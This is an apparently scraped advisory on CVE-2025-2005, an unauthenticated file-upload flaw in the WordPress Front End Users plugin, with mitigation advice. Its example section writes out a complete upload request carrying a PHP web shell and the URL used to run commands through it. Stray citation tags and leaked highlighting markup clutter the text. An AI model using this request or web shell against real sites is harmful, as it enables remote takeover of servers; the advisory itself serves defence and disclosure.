CVE-2025-2005 is a critical vulnerability in the WordPress plugin “Front End Users” (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server.
Vulnerability Summary
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CVE ID: CVE-2025-2005
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Severity: Critical (CVSS 3.1 Score: 9.8)CIRCL CVE+1NVD+1
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Attack Vector: NetworkCVE
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No phone number, email, or personal info required. -
Privileges Required: None
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User Interaction: None
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Impact: Allows unauthenticated attackers to upload arbitrary files, leading to potential RCEAqua Vulnerability Database+4GitHub+4CIRCL CVE+4
Affected Products
Product | Affected Versions |
---|---|
Front End Users Plugin | ≤ 3.2.32 |
How the Exploit Works
The vulnerability arises from the plugin’s failure to validate file types during the registration process. An attacker can craft a multipart/form-data
POST request to the registration form, including a malicious PHP file. Despite the plugin renaming uploaded files with random hashes, if the server allows PHP execution in the upload directory, the attacker can execute the uploaded script, leading to full system compromise.GitHub+1GitHub+1GitHub
Conceptual Example Code
Here’s a conceptual example of how an attacker might exploit this vulnerability:
POST /register/ HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
attacker
------WebKitFormBoundary
Content-Disposition: form-data; name="User_Password"
password123
------WebKitFormBoundary
Content-Disposition: form-data; name="Confirm_User_Password"
password123
------WebKitFormBoundary
Content-Disposition: form-data; name="malicious_file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
After sending this request, the malicious file would be uploaded to the server, potentially accessible at:
http:<span class="hljs-comment">//vulnerable-site.com/wp-content/uploads/ewd_feup_uploads/[random_filename].php</span>
The attacker could then execute commands by accessing:
http://vulnerable-site.com/wp-content/uploads/ewd_feup_uploads/[random_filename].php?cmd=<span class="hljs-built_in">whoami</span>
Potential Risks
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Remote Code Execution (RCE)GitHub
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Full system compromise
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Data exfiltration
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Website defacement
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Malware deployment
Mitigation Recommendations
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Update Plugin: Upgrade the Front End Users plugin to the latest version that addresses this vulnerability.GitHub+5Vulners+5CIRCL CVE+5
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Restrict File Uploads: Implement server-side checks to validate file types and restrict executable file uploads.GitHub+2Aqua Vulnerability Database+2GitHub+2
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Disable PHP Execution: Configure the server to prevent PHP execution in the upload directories.GitHub
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Monitor Uploads: Regularly scan the upload directories for unauthorized files.
Conclusion
CVE-2025-2005 poses a significant threat to WordPress sites using vulnerable versions of the Front End Users plugin. Immediate action is required to patch the vulnerability, implement proper file validation, and ensure server configurations prevent unauthorized code execution.
References